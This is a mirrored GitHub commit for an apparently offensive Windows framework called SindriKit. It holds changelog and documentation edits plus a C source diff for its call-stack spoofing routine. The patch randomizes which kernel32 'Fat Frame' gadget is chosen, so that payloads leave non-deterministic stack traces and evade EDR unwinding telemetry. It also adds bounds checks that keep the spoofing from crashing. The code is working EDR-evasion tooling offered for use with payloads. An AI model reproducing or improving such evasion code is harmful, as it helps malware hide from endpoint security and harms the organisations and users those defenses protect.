mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
Release v1.3.1: OpSec Patch (Dynamic Fat Frame Entropy)
- Implemented entropy-based pseudo-randomizer in snd_syscall_find_spoof_scan to prevent deterministic telemetry. - Randomized Fat Frame selection using the SSN hash, a static counter, and ASLR-dependent module/stack addresses. - Hardened spoof scanner to reject frames using Frame Registers (UWOP_SET_FPREG) to prevent RtlVirtualUnwind crashes. - Added strict bounds checking to cap Fat Frame sizes at 240 bytes, preventing MASM local stack corruption.Release v1.3.0: Stack Spoofing & Dynamic Fat Frame.
This commit is contained in:
@@ -6,6 +6,16 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
|
||||
---
|
||||
|
||||
## [1.3.1] - 2026-07-07
|
||||
|
||||
OpSec Patch release addressing deterministic telemetry in stack spoofing.
|
||||
|
||||
### Security & OpSec
|
||||
- **Fat Frame Entropy:** Implemented a pseudo-randomizer in `snd_syscall_find_spoof_scan` to prevent deterministic stack spoofing telemetry. The engine now uses the target function's SSN hash, a static counter, and the ASLR-dependent memory addresses of the `ntdll` base and the entry struct to randomize the selection of Fat Frames. This ensures payloads do not spoof the exact same `kernel32.dll` function on every execution, shifting the stack trace dynamically.
|
||||
- **Fat Frame Hardening:** Added strict bounds checking to the spoof scanner. It now rejects functions that use a Frame Register (which could break `RtlVirtualUnwind` offset calculations) and caps the selected `frame_size` to a maximum of 240 bytes to ensure it cannot overflow the pre-allocated local stack space inside the MASM stub.
|
||||
|
||||
---
|
||||
|
||||
## [1.3.0] - 2026-07-06
|
||||
|
||||
Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry.
|
||||
|
||||
@@ -142,9 +142,10 @@ To prevent frame desynchronization during stack unwinding (where the EDR's `RtlV
|
||||
1. Resolve the natively loaded `kernel32.dll` via PEB.
|
||||
2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth).
|
||||
3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function.
|
||||
4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments.
|
||||
5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction.
|
||||
6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
|
||||
4. Find a function that allocates at least **120 bytes** and at most **240 bytes** (a capped "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments without risking stack overflow.
|
||||
5. **Entropy Randomization:** To avoid creating a deterministic telemetry pattern (where every syscall spoofs the exact same function), the scanner uses an internal pseudo-randomizer seeded by the target function's hash, a static counter, and the memory addresses of the `ntdll` base and the entry struct. This guarantees it will skip a randomized number of valid Fat Frames before settling on one.
|
||||
6. Scan the body of the chosen Fat Frame function for a `0xC3` (`RET`) instruction.
|
||||
7. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
|
||||
|
||||
### Algorithm (x86)
|
||||
|
||||
|
||||
@@ -33,6 +33,15 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
|
||||
PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva);
|
||||
DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION);
|
||||
|
||||
// Simple randomizer using a static counter + hash + memory addresses for entropy
|
||||
static ULONG call_count = 0;
|
||||
ULONG entropy = (ULONG)((ULONG_PTR)kernel32 & 0xFFFFFFFF) ^ (ULONG)((ULONG_PTR)entry & 0xFFFFFFFF);
|
||||
ULONG skip_count = (entry->dwHash + ++call_count + entropy) % 15; // Skip up to 14 fat frames
|
||||
ULONG current_fat_frames = 0;
|
||||
|
||||
PVOID fallback_gadget = NULL;
|
||||
DWORD fallback_frame_size = 0;
|
||||
|
||||
for (DWORD i = 0; i < pdata_count; i++) {
|
||||
PRUNTIME_FUNCTION func = &pdata[i];
|
||||
|
||||
@@ -48,6 +57,11 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
|
||||
continue;
|
||||
}
|
||||
|
||||
BYTE frameReg = unwind_info[3] & 0x0F;
|
||||
if (frameReg != 0) {
|
||||
continue; // Reject functions that use a frame pointer to prevent RtlVirtualUnwind desync
|
||||
}
|
||||
|
||||
BYTE countOfCodes = unwind_info[2];
|
||||
PBYTE codes = unwind_info + 4;
|
||||
|
||||
@@ -99,7 +113,7 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
|
||||
}
|
||||
}
|
||||
|
||||
if (frame_size >= 120) {
|
||||
if (frame_size >= 120 && frame_size <= 240) {
|
||||
PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress);
|
||||
DWORD func_size = func->EndAddress - func->BeginAddress;
|
||||
|
||||
@@ -111,10 +125,26 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
|
||||
}
|
||||
}
|
||||
|
||||
if (gadget)
|
||||
if (gadget) {
|
||||
if (!fallback_gadget) {
|
||||
fallback_gadget = gadget;
|
||||
fallback_frame_size = frame_size;
|
||||
}
|
||||
|
||||
if (current_fat_frames < skip_count) {
|
||||
current_fat_frames++;
|
||||
gadget = NULL; // Keep searching for the next one
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!gadget && fallback_gadget) {
|
||||
gadget = fallback_gadget;
|
||||
entry->dwSpoofFrameSize = fallback_frame_size;
|
||||
}
|
||||
}
|
||||
#else
|
||||
FARPROC exec_addr = NULL;
|
||||
|
||||
Reference in New Issue
Block a user